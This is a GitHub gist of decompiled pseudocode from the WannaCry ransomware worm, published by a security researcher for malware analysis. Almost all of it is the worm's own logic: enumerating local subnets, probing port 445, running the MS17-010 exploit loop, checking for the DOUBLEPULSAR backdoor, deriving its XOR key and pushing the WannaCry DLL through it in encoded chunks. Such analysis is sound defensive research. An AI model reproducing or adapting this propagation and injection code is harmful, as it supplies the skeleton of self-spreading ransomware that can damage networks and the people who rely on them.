Skip to content

Instantly share code, notes, and snippets.

@msuiche
Created May 13, 2017 08:39
Show Gist options
  • Save msuiche/691e52fd5f0d8b760080640687e23d60 to your computer and use it in GitHub Desktop.
Save msuiche/691e52fd5f0d8b760080640687e23d60 to your computer and use it in GitHub Desktop.
WannaCry - DOUBLEPULSAR references
// https://twitter.com/msuiche
int threadMain()
{
unsigned int i; // edi@1
_DWORD *v1; // eax@2
void *v2; // esi@7
char v4; // [sp+13h] [bp-2Dh]@0
char v5; // [sp+14h] [bp-2Ch]@1
void *Memory; // [sp+18h] [bp-28h]@1
int v7; // [sp+1Ch] [bp-24h]@1
int v8; // [sp+20h] [bp-20h]@1
char v9; // [sp+24h] [bp-1Ch]@1
void *v10; // [sp+28h] [bp-18h]@1
int v11; // [sp+2Ch] [bp-14h]@1
int v12; // [sp+30h] [bp-10h]@1
int v13; // [sp+3Ch] [bp-4h]@1
v9 = v4;
v10 = 0;
v11 = 0;
v12 = 0;
v13 = 0;
v5 = v4;
Memory = 0;
v7 = 0;
v8 = 0;
LOBYTE(v13) = 1;
getTargets((int)&v9, (int)&v5);
for ( i = 0; ; ++i )
{
v1 = v10;
if ( !v10 || i >= (v11 - (signed int)v10) >> 2 )
break;
if ( *(_DWORD *)&FileName[268] > 10 )
{
do
Sleep(0x64u);
while ( *(_DWORD *)&FileName[268] > 10 );
v1 = v10;
}
v2 = (void *)beginthreadex(0, 0, scanIP, v1[i], 0, 0);
if ( v2 )
{
InterlockedIncrement((volatile LONG *)&FileName[268]);
CloseHandle(v2);
}
Sleep(0x32u);
}
endthreadex(0);
free(Memory);
Memory = 0;
v7 = 0;
v8 = 0;
free(v10);
return 0;
}
int __cdecl scanIP(int a1)
{
void *v1; // eax@2
void *v2; // esi@2
if ( canConnectToPort445(a1) > 0 )
{
v1 = (void *)beginthreadex(0, 0, MS17_010, a1, 0, 0);
v2 = v1;
if ( v1 )
{
if ( WaitForSingleObject(v1, 600000u) == 258 )
TerminateThread(v2, 0);
CloseHandle(v2);
}
}
InterlockedDecrement((volatile LONG *)&FileName[268]);
endthreadex(0);
return 0;
}
int __cdecl canConnectToPort445(int a1)
{
SOCKET v1; // eax@1
SOCKET v2; // esi@1
int result; // eax@2
int v4; // edi@3
struct sockaddr name; // [sp+8h] [bp-120h]@1
u_long argp; // [sp+18h] [bp-110h]@1
struct timeval timeout; // [sp+1Ch] [bp-10Ch]@3
fd_set writefds; // [sp+24h] [bp-104h]@3
*(_DWORD *)&name.sa_data[4] = 0;
*(_DWORD *)&name.sa_data[8] = 0;
*(_WORD *)&name.sa_data[12] = 0;
argp = 1;
*(_DWORD *)&name.sa_data[2] = a1;
name.sa_family = 2;
*(_WORD *)&name.sa_data[0] = htons(445u);
v1 = socket(2, 1, 6);
v2 = v1;
if ( v1 == -1 )
{
result = 0;
}
else
{
ioctlsocket(v1, -2147195266, &argp);
writefds.fd_array[0] = v2;
writefds.fd_count = 1;
timeout.tv_sec = 1;
timeout.tv_usec = 0;
connect(v2, &name, 16);
v4 = select(0, 0, &writefds, 0, &timeout);
closesocket(v2);
result = v4;
}
return result;
}
int __cdecl MS17_010(struct in_addr in)
{
char *v1; // eax@1
signed int attemptCount; // edi@2
char target; // [sp+8h] [bp-104h]@1
char v5; // [sp+9h] [bp-103h]@1
__int16 v6; // [sp+109h] [bp-3h]@1
char v7; // [sp+10Bh] [bp-1h]@1
target = 0;
memset(&v5, 0, 0x100u);
v6 = 0;
v7 = 0;
v1 = inet_ntoa(in);
strncpy(&target, v1, 0x10u);
if ( tryFirstSetBuffers(&target, 445u) )
{
attemptCount = 0;
do
{
Sleep(0xBB8u);
if ( IsDOUBLEPULSARInstalled(&target, 1, 445u) )
break;
Sleep(0xBB8u);
trySecondSetBuffers(&target, 445u);
++attemptCount;
}
while ( attemptCount < 5 );
}
Sleep(0xBB8u);
if ( IsDOUBLEPULSARInstalled(&target, 1, 445u) )
runPayloadOnTarget(&target, 1, 445u);
endthreadex(0);
return 0;
}
int __cdecl IsDOUBLEPULSAR_Present(char *cp, int flagUninstall, u_short hostshort)
{
SOCKET v3; // eax@1
SOCKET socket; // esi@1
char user_id_0; // bl@7
char user_id_1; // [sp+Fh] [bp-411h]@7
struct sockaddr name; // [sp+10h] [bp-410h]@1
char buf; // [sp+20h] [bp-400h]@1
char v10; // [sp+21h] [bp-3FFh]@1
char tree_id_0; // [sp+3Ch] [bp-3E4h]@9
char tree_id_1; // [sp+3Dh] [bp-3E3h]@9
char v13; // [sp+40h] [bp-3E0h]@7
char v14; // [sp+41h] [bp-3DFh]@7
char final_response; // [sp+42h] [bp-3DEh]@11
__int16 v16; // [sp+41Dh] [bp-3h]@1
char v17; // [sp+41Fh] [bp-1h]@1
buf = 0;
name.sa_family = 2;
memset(&v10, 0, 0x3FCu);
v16 = 0;
v17 = 0;
*(_DWORD *)&name.sa_data[2] = inet_addr(cp);
*(_WORD *)&name.sa_data[0] = htons(hostshort);
v3 = ::socket(2, 1, 0);
socket = v3;
if ( v3 != -1 )
{
if ( connect(v3, &name, 16) != -1
&& send(socket, negotiate_protocol_request, 137, 0) != -1
&& recv(socket, &buf, 1024, 0) != -1
&& send(socket, session_setup_request, 140, 0) != -1
&& recv(socket, &buf, 1024, 0) != -1 )
{
user_id_0 = v13;
modified_tree_connect_request_32 = v13;
user_id_1 = v14;
modified_tree_connect_request_33 = v14;
if ( send(socket, tree_connect_request, 96, 0) != -1 && recv(socket, &buf, 1024, 0) != -1 )
{ // Replace tree ID and user ID in trans2 session setup packet
modified_trans2_session_setup_28 = tree_id_0;
modified_trans2_session_setup_29 = tree_id_1;
modified_trans2_session_setup_32 = user_id_0;
modified_trans2_session_setup_33 = user_id_1;
if ( send(socket, trans2_session_setup, 82, 0) != -1// Sending trans2 session setup - ping command
&& recv(socket, &buf, 1024, 0) != -1
&& final_response == 0x51 ) // Check for 0x51 response to indicate DOUBLEPULSAR infection
{
if ( flagUninstall
|| (modified_trans2_session_setup_34 = 0x42,// Update MID and op code via timeout
modified_trans2_session_setup_49 = 0xE,
modified_trans2_session_setup_50 = 0x69,
modified_trans2_session_setup_51 = 0,
modified_trans2_session_setup_52 = 0,
send(socket, trans2_session_setup, 82, 0) != -1)
&& recv(socket, &buf, 1024, 0) != -1 )
{
closesocket(socket);
return 1;
}
}
}
}
closesocket(socket);
}
return 0;
}
BOOL __cdecl ComputeDOUBLEPULSARArchitecture(int a1, int a2)
{
return a2 == 0;
}
unsigned int __cdecl ComputerDOUBLEPULSARXorKey(unsigned int a1)
{
return 2 * a1 ^ ((((a1 >> 16) | a1 & 0xFF0000) >> 8) | (((a1 << 16) | a1 & 0xFF00) << 8));
}
int __cdecl runPayloadOnTarget(char *cp, int a2, u_short hostshort)
{
SOCKET v3; // eax@1
SOCKET Socket; // esi@1
char user_id_0_; // bl@7
unsigned int signature_long; // edi@12
int ArchitectureType; // ebx@12
int XorKey; // eax@12
char user_id_1_; // [sp+Fh] [bp-419h]@7
struct sockaddr name; // [sp+10h] [bp-418h]@1
int v12; // [sp+24h] [bp-404h]@12
char buf; // [sp+28h] [bp-400h]@1
char v14; // [sp+29h] [bp-3FFh]@1
unsigned int v15; // [sp+3Ah] [bp-3EEh]@12
int v16; // [sp+3Eh] [bp-3EAh]@12
char tree_id_0; // [sp+44h] [bp-3E4h]@9
char tree_id_1; // [sp+45h] [bp-3E3h]@9
char user_id_0; // [sp+48h] [bp-3E0h]@7
char user_id_1; // [sp+49h] [bp-3DFh]@7
char final_response_34; // [sp+4Ah] [bp-3DEh]@11
__int16 v22; // [sp+425h] [bp-3h]@1
char v23; // [sp+427h] [bp-1h]@1
buf = 0;
name.sa_family = 2;
memset(&v14, 0, 0x3FCu);
v22 = 0;
v23 = 0;
*(_DWORD *)&name.sa_data[2] = inet_addr(cp);
*(_WORD *)&name.sa_data[0] = htons(hostshort);
v3 = socket(2, 1, 0);
Socket = v3;
if ( v3 != -1 )
{
if ( connect(v3, &name, 16) != -1
&& send(Socket, negotiate_protocol_request, 137, 0) != -1
&& recv(Socket, &buf, 1024, 0) != -1
&& send(Socket, session_setup_request, 140, 0) != -1
&& recv(Socket, &buf, 1024, 0) != -1 )
{
user_id_0_ = user_id_0;
modified_tree_connect_request_32 = user_id_0;
user_id_1_ = user_id_1;
modified_tree_connect_request_33 = user_id_1;
if ( send(Socket, tree_connect_request, 96, 0) != -1 && recv(Socket, &buf, 1024, 0) != -1 )
{
modified_trans2_session_setup_28 = tree_id_0;
modified_trans2_session_setup_29 = tree_id_1;
modified_trans2_session_setup_32 = user_id_0_;
modified_trans2_session_setup_33 = user_id_1_;
byte_42E72C = tree_id_0;
byte_42E72D = tree_id_1;
byte_42E730 = user_id_0_;
byte_42E731 = user_id_1_;
if ( send(Socket, trans2_session_setup, 82, 0) != -1
&& recv(Socket, &buf, 1024, 0) != -1
&& final_response_34 == 0x51 ) // DOUBLEPULSAR backdoor is installed
{
signature_long = v15;
v12 = v16;
ArchitectureType = ComputeDOUBLEPULSARArchitecture(v15, v16);
XorKey = ComputeDOUBLEPULSARXorKey(signature_long);
InjectWannaCryDLLViaDoublePulsarBackdoor(Socket, ArchitectureType, XorKey);
}
}
}
closesocket(Socket);
}
return 0;
}
int __cdecl InjectWannaCryDLLViaDoublePulsarBackdoor(SOCKET s, int architectureType, int a3)
{
const void *v3; // esi@2
signed int v4; // ebx@2
char *v5; // ebp@2
HGLOBAL v6; // eax@4
const void *v7; // esi@9
unsigned int v8; // ecx@9
int v9; // ebx@11
int v10; // ebp@11
int v11; // esi@11
bool v12; // sf@17
unsigned __int8 v13; // of@17
int v14; // ebx@19
char v16[9]; // [sp+10h] [bp-20E4h]@1
__int16 v17; // [sp+19h] [bp-20DBh]@1
char v18; // [sp+1Bh] [bp-20D9h]@1
int v19; // [sp+1Ch] [bp-20D8h]@6
HGLOBAL hMem; // [sp+20h] [bp-20D4h]@4
int i; // [sp+24h] [bp-20D0h]@12
int v22; // [sp+28h] [bp-20CCh]@11
char buf; // [sp+2Ch] [bp-20C8h]@1
char v24; // [sp+2Dh] [bp-20C7h]@1
u_short v25; // [sp+2Eh] [bp-20C6h]@19
__int16 v26; // [sp+53h] [bp-20A1h]@19
__int16 v27; // [sp+67h] [bp-208Dh]@19
__int16 v28; // [sp+6Fh] [bp-2085h]@19
__int64 v29; // [sp+72h] [bp-2082h]@14
int v30; // [sp+7Ah] [bp-207Ah]@14
char v31; // [sp+7Eh] [bp-2076h]@14
__int16 v32; // [sp+10F1h] [bp-1003h]@1
char v33; // [sp+10F3h] [bp-1001h]@1
char v34; // [sp+10F4h] [bp-1000h]@1
char v35; // [sp+10F5h] [bp-FFFh]@1
char v36; // [sp+1116h] [bp-FDEh]@16
__int16 v37; // [sp+20F1h] [bp-3h]@1
char v38; // [sp+20F3h] [bp-1h]@1
buf = 0;
memset(&v24, 0, 0x10C4u);
v32 = 0;
v33 = 0;
v34 = 0;
memset(&v35, 0, 0xFFCu);
v37 = 0;
v38 = 0;
*(_DWORD *)&v16[1] = 0;
v16[0] = 0;
*(_DWORD *)&v16[5] = 0;
v17 = 0;
v18 = 0;
if ( architectureType )
{
v3 = *(const void **)&FileName[260];
v4 = 4869;
v5 = (char *)&DLLPayload64;
}
else
{
v3 = *(const void **)&FileName[264];
v4 = 6144;
v5 = (char *)&DLLPayload32;
}
v6 = GlobalAlloc(0x40u, (SIZE_T)&v5[v4 + 12]);
hMem = v6;
if ( v6 )
{
qmemcpy((char *)v6 + v4, v3, (unsigned int)v5);
if ( (signed int)&v5[v4] % 4 )
{
v19 = 4 * ((signed int)&v5[v4] / 4) + 4;
v6 = hMem;
}
else
{
v19 = (int)&v5[v4];
}
if ( architectureType )
{
v7 = &unk_42E758;
dword_42ECE9 = (int)(v5 + 3440);
*(int *)((char *)&dword_42E750 + v4) = (int)v5;
*(int *)((char *)&dword_42E754 + v4) = 1;
v8 = v4;
}
else
{
v7 = &unk_42FA60;
dword_4302CE = (int)(v5 + 3978);
*(int *)((char *)&dword_42FA58 + v4) = (int)v5;
*(int *)((char *)&dword_42FA5C + v4) = 1;
v8 = v4;
}
qmemcpy(v6, v7, v8);
encodePacket(a3, (int)v6, v19);
v9 = v19 / 4096;
v10 = v19 % 4096;
qmemcpy(&buf, &unk_42E710, 0x46u);
v11 = 0;
v22 = 0;
if ( v19 / 4096 > 0 )
{
for ( i = 0; ; v11 = i )
{
*(_QWORD *)v16 = __PAIR__(4096, v19);
*(_DWORD *)&v16[8] = v11;
encodePacket(a3, (int)v16, 12);
v29 = *(_QWORD *)v16;
v30 = *(_DWORD *)&v16[8];
qmemcpy(&v31, (char *)hMem + v11, 0x1000u);
if ( send(s, &buf, 4178, 0) == -1 )
break;
if ( recv(s, &v34, 4096, 0) == -1 )
break;
if ( v36 != 82 )
break;
v13 = __OFSUB__(v22 + 1, v9);
v12 = v22++ + 1 - v9 < 0;
i += 4096;
if ( !(v12 ^ v13) )
break;
}
}
if ( v10 > 0 )
{
v25 = htons(v10 + 78);
v28 = v10 + 13;
v14 = v9 << 12;
v26 = v10;
v27 = v10;
*(_QWORD *)v16 = __PAIR__(v10, v19);
*(_DWORD *)&v16[8] = v14;
encodePacket(a3, (int)v16, 12);
v30 = *(_DWORD *)&v16[8];
v29 = *(_QWORD *)v16;
qmemcpy(&v31, (char *)hMem + v14, v10);
if ( send(s, &buf, v10 + 82, 0) != -1 )
recv(s, &v34, 4096, 0);
}
GlobalFree(hMem);
}
return 0;
}
signed int __cdecl getTargets(int a1, int a2)
{
HLOCAL v2; // eax@3
HLOCAL v3; // esi@3
int v5; // edi@9
unsigned __int32 v6; // eax@12
int v7; // ebx@16
int v8; // ebp@16
int v9; // edi@16
unsigned __int32 v10; // eax@17
u_long v11; // esi@17
u_long v12; // eax@20
u_long v13; // ST14_4@20
u_long v14; // eax@20
u_long v15; // eax@20
IP_PER_ADAPTER_INFO_W2KSP1 *v16; // esi@24
int v17; // edi@26
unsigned __int32 v18; // eax@27
u_long v19; // esi@27
u_long v20; // eax@31
u_long v21; // ST14_4@31
u_long v22; // eax@31
u_long v23; // eax@31
char *v24; // ebx@38
char *v25; // edi@38
char *v26; // esi@40
unsigned int v27; // edi@41
unsigned int v28; // ecx@41
int v29; // eax@41
char *v30; // edx@41
int *v31; // edx@44
int *v32; // eax@44
int *v33; // ecx@44
int *v34; // edi@50
int *i; // eax@50
int *v36; // esi@54
int *j; // eax@54
int v38; // edx@55
int v39; // eax@56
char *v40; // [sp-14h] [bp-2Ch]@38
ULONG SizePointer; // [sp+4h] [bp-14h]@1
HLOCAL hMem; // [sp+8h] [bp-10h]@3
char *v43; // [sp+Ch] [bp-Ch]@9
unsigned __int32 v44; // [sp+10h] [bp-8h]@12
IP_PER_ADAPTER_INFO_W2KSP1 *v45; // [sp+14h] [bp-4h]@24
SizePointer = 0;
if ( GetAdaptersInfo(0, &SizePointer) != 111 )
return 0;
if ( !SizePointer )
return 0;
v2 = LocalAlloc(0, SizePointer);
v3 = v2;
hMem = v2;
if ( !v2 )
return 0;
if ( GetAdaptersInfo((PIP_ADAPTER_INFO)v2, &SizePointer) )
{
LocalFree(v3);
return 0;
}
while ( 1 )
{
v5 = (int)v3 + 428;
v43 = (char *)v3 + 428;
if ( v3 != (HLOCAL)-428 )
{
while ( 1 )
{
v44 = inet_addr((const char *)(v5 + 4));
v6 = inet_addr((const char *)(v5 + 20));
if ( v44 != -1 && v44 && v6 != -1 && v6 )
{
v7 = v44 & v6;
v8 = v44 | ~v6;
sub_408E50(a1, v44 & v6, v44 | ~v6);
sub_409470(*(_DWORD *)(a2 + 8), 1, &v44);
v9 = (int)v3 + 468;
if ( v3 != (HLOCAL)-468 )
{
do
{
v10 = inet_addr((const char *)(v9 + 4));
v11 = v10;
if ( v10 != -1 && v10 && !sub_4090D0(v10, v7, v8) )
{
v12 = htonl(v11);
LOBYTE(v12) = -1;
v13 = ntohl(v12);
v14 = htonl(v11);
LOBYTE(v14) = 0;
v15 = ntohl(v14);
sub_408E50(a1, v15, v13);
}
v9 = *(_DWORD *)v9;
}
while ( v9 );
v3 = hMem;
}
if ( GetPerAdapterInfo(*((_DWORD *)v3 + 103), 0, &SizePointer) == 111 )
{
v16 = (IP_PER_ADAPTER_INFO_W2KSP1 *)LocalAlloc(0, SizePointer);
v45 = v16;
if ( v16 )
{
if ( GetPerAdapterInfo(*((_DWORD *)hMem + 103), v16, &SizePointer) )
{
v17 = (int)&v16->DnsServerList;
if ( v16 != (IP_PER_ADAPTER_INFO_W2KSP1 *)-12 )
{
do
{
v18 = inet_addr((const char *)(v17 + 4));
v19 = v18;
if ( v18 != -1 && v18 && sub_409110(v18) && !sub_4090D0(v19, v7, v8) )
{
v20 = htonl(v19);
LOBYTE(v20) = -1;
v21 = ntohl(v20);
v22 = htonl(v19);
LOBYTE(v22) = 0;
v23 = ntohl(v22);
sub_408E50(a1, v23, v21);
}
v17 = *(_DWORD *)v17;
}
while ( v17 );
v16 = v45;
}
}
}
LocalFree(v16);
v3 = hMem;
}
v5 = (int)v43;
}
v43 = *(char **)v5;
if ( !v43 )
break;
v5 = (int)v43;
}
}
hMem = *(HLOCAL *)v3;
if ( !hMem )
break;
v3 = hMem;
}
v25 = *(char **)(a1 + 4);
v40 = *(char **)(a1 + 8);
v24 = v40;
if ( (signed int)((v40 - v25) & 0xFFFFFFFC) > 64 )
{
sub_409680(v25, v40);
v26 = v25 + 64;
sub_409750(v25, v25 + 64);
if ( v25 + 64 != v24 )
{
do
{
v27 = *(_DWORD *)v26;
v28 = *((_DWORD *)v26 - 1);
v29 = (int)(v26 - 4);
v30 = v26;
if ( *(_DWORD *)v26 < v28 )
{
do
{
*(_DWORD *)v30 = v28;
v28 = *(_DWORD *)(v29 - 4);
v30 = (char *)v29;
v29 -= 4;
}
while ( v27 < v28 );
}
v26 += 4;
*(_DWORD *)v30 = v27;
}
while ( v26 != v24 );
}
}
else
{
sub_409750(v25, v40);
}
v31 = *(int **)(a1 + 8);
v32 = *(int **)(a1 + 4);
v33 = *(int **)(a1 + 4);
if ( v32 != v31 )
{
while ( 1 )
{
++v32;
if ( v32 == v31 )
break;
if ( *v33 == *v32 )
{
if ( v33 != v31 )
{
v34 = v33;
++v33;
for ( i = v33; i != v31; ++i )
{
if ( *v34 != *i )
{
*v33 = *i;
v34 = i;
++v33;
}
}
}
goto LABEL_54;
}
v33 = v32;
}
}
v33 = *(int **)(a1 + 8);
LABEL_54:
v36 = *(int **)(a1 + 8);
for ( j = v31; j != v36; ++v33 )
{
v38 = *j;
++j;
*v33 = v38;
}
v39 = *(_DWORD *)(a1 + 8);
*(_DWORD *)(a1 + 8) = v33;
LocalFree(hMem);
return 1;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment